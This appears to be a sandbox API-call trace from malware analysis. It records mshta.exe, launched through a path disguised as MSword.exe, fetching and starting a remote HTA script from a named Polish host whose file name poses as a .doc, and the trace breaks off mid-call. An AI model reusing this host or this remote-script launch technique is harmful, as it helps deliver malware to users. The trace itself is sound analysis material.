CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x3bf214 | out: plResult=0x3bf214) returned 0x0 [0032.743] GetCurrentThreadId () returned 0x9c4 [0032.743] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0032.743] GetKeyState (nVirtKey=1) returned 0 [0032.743] GetKeyState (nVirtKey=2) returned 0 [0032.743] GetKeyState (nVirtKey=16) returned 0 [0032.743] GetKeyState (nVirtKey=17) returned 0 [0032.743] GetKeyState (nVirtKey=4) returned 0 [0032.743] GetKeyState (nVirtKey=18) returned 0 [0032.743] GetMessageTime () returned 0 [0032.743] GetMessagePos () returned 0x0 [0032.743] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x3bf214 | out: plResult=0x3bf214) returned 0x0 [0032.744] GetCurrentThreadId () returned 0x9c4 [0032.744] IsOS (dwOS=0x25) returned 1 [0032.744] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf420 | out: phkResult=0x3bf420*=0x410) returned 0x0 [0032.744] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf424 | out: phkResult=0x3bf424*=0x414) returned 0x0 [0032.744] RegOpenKeyExW (in: hKey=0x414, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf3e0 | out: phkResult=0x3bf3e0*=0x0) returned 0x2 [0032.744] RegOpenKeyExW (in: hKey=0x410, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf3e0 | out: phkResult=0x3bf3e0*=0x418) returned 0x0 [0032.744] SHRegGetValueW () returned 0x0 [0032.744] RegCloseKey (hKey=0x418) returned 0x0 [0032.744] RegCloseKey (hKey=0x0) returned 0x6 [0032.744] RegCloseKey (hKey=0x0) returned 0x6 [0032.744] RegCloseKey (hKey=0x410) returned 0x0 [0032.744] RegCloseKey (hKey=0x414) returned 0x0 [0032.744] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x6ec20000 [0034.201] GetVersionExW (in: lpVersionInformation=0x3bef2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3bef2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0034.201] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x6ec20000 [0034.201] LoadStringW (in: hInstance=0x6ec20000, uID=0xb5, lpBuffer=0x3bf4a8, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0034.202] LoadStringW (in: hInstance=0x6ec20000, uID=0xb5, lpBuffer=0x3bf508, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0034.203] LoadStringW (in: hInstance=0x6ec20000, uID=0xb5, lpBuffer=0x3bf4f4, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0034.208] RegisterDragDrop (hwnd=0x30228, pDropTarget=0x6fbd96cc) returned 0x0 [0034.208] GetCurrentThreadId () returned 0x9c4 [0034.208] GetCurrentThreadId () returned 0x9c4 [0034.208] GetCurrentThreadId () returned 0x9c4 [0034.208] GetCurrentThreadId () returned 0x9c4 [0034.208] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0034.208] TranslateMessage (lpMsg=0x3bf764) returned 0 [0034.208] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0034.208] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0034.209] TranslateMessage (lpMsg=0x3bf764) returned 0 [0034.209] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0034.209] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0034.209] KillTimer (hWnd=0x30228, uIDEvent=0x1000) returned 1 [0034.221] IUnknown:AddRef (This=0x7ac484) returned 0x11 [0034.221] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3bea9c | out: pdwScheme=0x3bea9c*=0x2) returned 0x0 [0034.221] IUri:GetDisplayUri (in: This=0x7ac484, pbstrDisplayString=0x3beaa8 | out: pbstrDisplayString=0x3beaa8*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0034.221] GetWindowTextW (in: hWnd=0x30224, lpString=0x3be648, nMaxCount=512 | out: lpString="") returned 0 [0034.221] NtdllDefWindowProc_W () returned 0x0 [0034.221] SetWindowTextW (hWnd=0x30224, lpString="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 1 [0034.221] NtdllDefWindowProc_W () returned 0x1 [0034.222] IUnknown:Release (This=0x7ac484) returned 0x10 [0034.222] GetCurrentThreadId () returned 0x9c4 [0034.222] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0034.222] TranslateMessage (lpMsg=0x3bf764) returned 0 [0034.222] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0034.222] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0034.222] NtdllDefWindowProc_W () returned 0x0 [0034.222] NtdllDefWindowProc_W () returned 0x0 [0034.631] NtdllDefWindowProc_W () returned 0x0 [0034.631] NtdllDefWindowProc_W () returned 0x0 [0034.631] GetCurrentThreadId () returned 0x9c4 [0034.631] GetCurrentThreadId () returned 0x9c4 [0034.631] GetCurrentThreadId () returned 0x9c4 [0034.631] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x3bf424 | out: plResult=0x3bf424) returned 0x1 [0034.631] NtdllDefWindowProc_W () returned 0x0 [0034.631] GetCurrentThreadId () returned 0x9c4 [0034.631] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0034.631] GetKeyState (nVirtKey=1) returned 1 [0034.631] GetKeyState (nVirtKey=2) returned 0 [0034.631] GetKeyState (nVirtKey=16) returned 0 [0034.631] GetKeyState (nVirtKey=17) returned 0 [0034.632] GetKeyState (nVirtKey=4) returned 0 [0034.654] GetKeyState (nVirtKey=18) returned 0 [0034.654] GetMessageTime () returned 67829 [0034.654] GetMessagePos () returned 0x1ed029b [0034.654] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x3bf034 | out: plResult=0x3bf034) returned 0x0 [0034.654] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0034.654] GetKeyState (nVirtKey=1) returned 1 [0034.654] GetKeyState (nVirtKey=2) returned 0 [0034.654] GetKeyState (nVirtKey=16) returned 0 [0034.654] GetKeyState (nVirtKey=17) returned 0 [0034.654] GetKeyState (nVirtKey=4) returned 0 [0034.654] GetKeyState (nVirtKey=18) returned 0 [0034.654] GetMessageTime () returned 67829 [0034.654] GetMessagePos () returned 0x1ed029b [0034.654] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x3bea64 | out: plResult=0x3bea64) returned 0x0 [0034.654] SetTimer (hWnd=0x30228, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0034.654] GetCurrentThreadId () returned 0x9c4 [0034.654] GetCurrentThreadId () returned 0x9c4 [0034.654] TranslateMessage (lpMsg=0x3bf764) returned 0 [0034.654] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0034.654] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0034.654] GetAncestor (hwnd=0x30228, gaFlags=0x2) returned 0x30224 [0034.655] IsIconic (hWnd=0x30224) returned 0 [0034.655] GetCurrentThreadId () returned 0x9c4 [0034.655] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0034.655] TranslateMessage (lpMsg=0x3bf764) returned 0 [0034.655] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0045.411] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x3bdedc | out: ppURI=0x3bdedc*=0x7ac484) returned 0x0 [0045.411] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3bdeb4 | out: ppvObject=0x3bdeb4*=0x7ac484) returned 0x0 [0045.411] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.411] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.411] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.411] IUnknown:Release (This=0x7ac484) returned 0x11 [0045.411] FindResourceW (hModule=0x6ec20000, lpName=0x1fe, lpType=0x6) returned 0x39484d0 [0045.411] LoadResource (hModule=0x6ec20000, hResInfo=0x39484d0) returned 0x396e53c [0045.411] LockResource (hResData=0x396e53c) returned 0x396e53c [0045.411] VirtualQuery (in: lpAddress=0x396e53c, lpBuffer=0x3bf084, dwLength=0x1c | out: lpBuffer=0x3bf084*(BaseAddress=0x396e000, AllocationBase=0x3690000, AllocationProtect=0x2, RegionSize=0x115000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0045.411] SizeofResource (hModule=0x6ec20000, hResInfo=0x39484d0) returned 0xe6 [0045.412] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0045.551] TranslateMessage (lpMsg=0x3bf764) returned 0 [0045.551] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0045.576] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf240 | out: ppu=0x3bf240) returned 0x0 [0045.585] StrCmpICW (pszStr1="emulateie8", pszStr2="edge") returned 9 [0045.585] StrCmpICW (pszStr1="emulateie8", pszStr2="EmulateIE7") returned 1 [0045.586] StrCmpICW (pszStr1="emulateie8", pszStr2="EmulateIE8") returned 0 [0045.586] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="Edge", cchCount1=4, lpString2="emulateie8", cchCount2=4) returned 1 [0045.586] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="EmulateIE8", cchCount1=10, lpString2="emulateie8", cchCount2=10) returned 2 [0045.586] GetTickCount () returned 0x134d5 [0045.587] SetTimer (hWnd=0x30228, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0045.587] GetTickCount () returned 0x134d5 [0045.588] GetTickCount () returned 0x134d5 [0045.588] StrCmpNICW (lpStr1="", lpSrch="DTD HTML 4.0") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD XHTML") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD HTML 4") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD HTML 4.") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch=" HTML 2") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch=" HTML 3") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch=" HTML 4") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD HTML//") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD W3 HTML//") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD HTML EXP") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch=" HTML plus") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DOCTYPE NETSC") returned 0x0 [0045.588] StrCmpNICW (lpStr1="", nChar=10) returned -30 [0045.588] StrCmpNICW (lpStr1="", lpStr2="", lpStr2="", lpSrch="DTD XHTML 1.0") returned 0x0 [0045.588] StrStrIW (lpFirst="", lpSrch="DTD HTML 4.0") returned 0x0 [0045.589] GetTickCount () returned 0x134d5 [0045.589] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.589] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf244, dwFlags=0x0 | out: pdwZone=0x3bf244*=0xffffffff) returned 0x800c0011 [0045.589] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.589] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.589] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.590] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x2106, pPolicy=0x3bf248, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3bf248*=0x0) returned 0x0 [0045.590] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.590] GetTickCount () returned 0x134d5 [0045.590] GetTickCount () returned 0x134d5 [0045.590] StrCmpICW (pszStr1="emulateie8", pszStr2="edge") returned 9 [0045.590] StrCmpICW (pszStr1="emulateie8", pszStr2="EmulateIE7") returned 1 [0045.590] StrCmpICW (pszStr1="emulateie8", pszStr2="EmulateIE8") returned 0 [0045.590] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="Edge", cchCount1=4, lpString2="emulateie8", cchCount2=4) returned 1 [0045.590] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="EmulateIE8", cchCount1=10, lpString2="emulateie8", cchCount2=10) returned 2 [0045.591] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="PICS-Label") returned 8 [0045.591] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Refresh") returned 6 [0045.592] GetProcAddress (hModule=0x76910000, lpProcName=0x2) returned 0x76914642 [0045.592] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76910000 [0045.592] GetProcAddress (hModule=0x76910000, lpProcName="VariantClear") returned 0x76913eae [0045.592] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Pragma") returned 8 [0045.592] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="ImageToolbar") returned 15 [0045.592] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="content-language") returned 21 [0045.592] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Expires") returned 19 [0045.592] GetTickCount () returned 0x134d5 [0045.597] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf3a0 | out: ppu=0x3bf3a0) returned 0x0 [0045.597] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.597] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf344, dwFlags=0x0 | out: pdwZone=0x3bf344*=0xffffffff) returned 0x800c0011 [0045.597] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.597] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.597] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.597] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3bf348, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3bf348*=0x0) returned 0x0 [0045.597] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.597] GetTickCount () returned 0x134e4 [0045.598] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf35c | out: ppu=0x3bf35c) returned 0x0 [0045.598] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.598] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf2fc, dwFlags=0x0 | out: pdwZone=0x3bf2fc*=0xffffffff) returned 0x800c0011 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.598] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3bf300, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3bf300*=0x0) returned 0x0 [0045.598] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.598] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf2ec | out: ppu=0x3bf2ec) returned 0x0 [0045.598] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.598] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf28c, dwFlags=0x0 | out: pdwZone=0x3bf28c*=0xffffffff) returned 0x800c0011 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.598] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.598] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3bf290, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3bf290*=0x0) returned 0x0 [0045.598] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.598] CoCreateInstance (in: rclsid=0x3bf2dc*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6f7f95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x3bf298 | out: ppv=0x3bf298*=0x2cb1278) returned 0x0 [0045.663] GetVersion () returned 0x1db10106 [0045.663] __dllonexit () returned 0x73be7ecf [0045.664] __dllonexit () returned 0x73be7e9b [0045.664] __dllonexit () returned 0x73be7eb5 [0045.664] __dllonexit () returned 0x73be7f70 [0045.665] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x763f0000 [0045.665] GetProcAddress (hModule=0x763f0000, lpProcName="RegisterTraceGuidsA") returned 0x7790848f [0045.665] EtwRegisterTraceGuidsA () returned 0x0 [0045.666] GetProcAddress (hModule=0x763f0000, lpProcName="RegisterTraceGuidsA") returned 0x7790848f [0045.666] EtwRegisterTraceGuidsA () returned 0x0 [0045.666] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3bdc54, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0045.667] GetProcAddress (hModule=0x763f0000, lpProcName="RegOpenKeyExA") returned 0x76404907 [0045.667] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x3bdd78 | out: phkResult=0x3bdd78*=0x0) returned 0x2 [0045.670] GetUserDefaultLCID () returned 0x409 [0045.670] GetACP () returned 0x4e4 [0045.671] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.671] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3bf1ac, dwFlags=0x0 | out: pdwZone=0x3bf1ac*=0xffffffff) returned 0x800c0011 [0045.671] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.671] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.671] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.671] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1401, pPolicy=0x3bf1b0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3bf1b0*=0x0) returned 0x0 [0045.671] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.672] GetCurrentThreadId () returned 0x9c4 [0045.672] GetCurrentThreadId () returned 0x9c4 [0045.672] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bf0d8 | out: phkResult=0x3bf0d8*=0x488) returned 0x0 [0045.672] GetProcAddress (hModule=0x763f0000, lpProcName="RegQueryValueExA") returned 0x764048ef [0045.673] RegQueryValueExA (in: hKey=0x488, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x3bf0cc, lpData=0x3bf0d0, lpcbData=0x3bf0d4*=0x4 | out: lpType=0x3bf0cc*=0x4, lpData=0x3bf0d0*=0x1, lpcbData=0x3bf0d4*=0x4) returned 0x0 [0045.673] GetProcAddress (hModule=0x763f0000, lpProcName="RegCloseKey") returned 0x7640469d [0045.673] RegCloseKey (hKey=0x488) returned 0x0 [0045.673] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x76d30000 [0045.673] GetProcAddress (hModule=0x76d30000, lpProcName="CoGetObjectContext") returned 0x76d7632b [0045.673] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x76d30000 [0045.674] GetProcAddress (hModule=0x76d30000, lpProcName="CoCreateInstance") returned 0x76d79d0b [0045.674] CoCreateInstance (in: rclsid=0x73bd23a8*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73bd23b8*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf0d4 | out: ppv=0x3bf0d4*=0x76e76460) returned 0x0 [0045.674] ??_U@YAPAXI@Z () returned 0x4bffc0 [0045.674] GetCurrentThreadId () returned 0x9c4 [0045.674] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x3bf078, nSize=0x27 | out: lpBuffer="") returned 0x0 [0045.674] GetCurrentThreadId () returned 0x9c4 [0045.674] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0045.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x3bf0e8, cchData=6 | out: lpLCData="1252") returned 5 [0045.674] IsValidCodePage (CodePage=0x4e4) returned 1 [0045.675] GetCurrentThreadId () returned 0x9c4 [0045.675] GetCurrentThreadId () returned 0x9c4 [0045.675] CoCreateInstance (in: rclsid=0x73bd15ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73bd15fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2cb1464 | out: ppv=0x2cb1464*=0x7f9218) returned 0x0 [0045.675] IUnknown:AddRef (This=0x7f9218) returned 0x2 [0045.675] GetCurrentProcessId () returned 0x9c0 [0045.675] GetCurrentThreadId () returned 0x9c4 [0045.675] GetTickCount () returned 0x13523 [0045.675] ISystemDebugEventFire:BeginSession (This=0x7f9218, guidSourceID=0x73bd16d4, strSessionName="JScript:00002496:00002500:18079139") returned 0x0 [0045.675] GetCurrentThreadId () returned 0x9c4 [0045.675] GetCurrentThreadId () returned 0x9c4 [0045.676] GetCurrentThreadId () returned 0x9c4 [0045.676] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0045.676] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf044 | out: ppv=0x3bf044*=0x7a73c0) returned 0x0 [0045.676] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x76e76460, pUnk=0x4b13c0, riid=0x73bd5710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x4b13dc | out: pdwCookie=0x4b13dc*=0x100) returned 0x0 [0045.677] IUnknown:QueryInterface (in: This=0x4b13c0, riid=0x76d697c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3befc8 | out: ppvObject=0x3befc8*=0x0) returned 0x80004002 [0045.677] IUnknown:QueryInterface (in: This=0x4b13c0, riid=0x76d73e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3befb8 | out: ppvObject=0x3befb8*=0x0) returned 0x80004002 [0045.677] IUnknown:AddRef (This=0x4b13c0) returned 0x2 [0045.677] IUnknown:AddRef (This=0x7a73c0) returned 0x2 [0045.677] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.677] GetTickCount () returned 0x13523 [0045.677] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf060 | out: ppv=0x3bf060*=0x7a73c0) returned 0x0 [0045.677] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.677] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf060 | out: ppv=0x3bf060*=0x7a73c0) returned 0x0 [0045.677] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.677] StrCmpIW (psz1="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", psz2="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0 [0045.678] GetCurrentThreadId () returned 0x9c4 [0045.678] _wcsicmp (_String1="", _String2="") returned 0 [0045.678] SysStringLen (param_1="\n\n") returned 0xce1 [0045.680] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf180 | out: ppv=0x3bf180*=0x7a73c0) returned 0x0 [0045.680] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.681] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, 